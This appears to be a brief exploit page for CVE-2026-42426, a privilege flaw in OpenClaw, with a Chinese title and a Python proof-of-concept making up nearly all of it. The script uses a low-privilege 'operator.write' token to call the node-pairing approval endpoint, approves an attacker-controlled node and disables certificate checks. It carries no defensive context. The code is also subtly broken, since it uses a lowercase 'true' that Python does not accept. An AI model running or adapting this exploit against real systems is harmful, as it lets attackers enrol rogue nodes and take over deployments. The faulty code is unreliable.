CVE-2026-42426 OpenClaw权限不当漏洞

import requests # Target URL of the vulnerable OpenClaw instance target_url = "https://<target-host>/api/v1/node.pair.approve" # Authorization token with 'operator.write' scope (Low Privilege) # This token should not be able to approve pairing, but due to the vuln it can. bearer_token = "Bearer <operator_write_token>" headers = { "Authorization": bearer_token, "Content-Type": "application/json" } # Malicious node ID to be approved payload = { "node_id": "attacker_controlled_node", "approve": true } try: # Send request to approve the node pairing response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit Successful! Node approved via operator.write scope.") else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")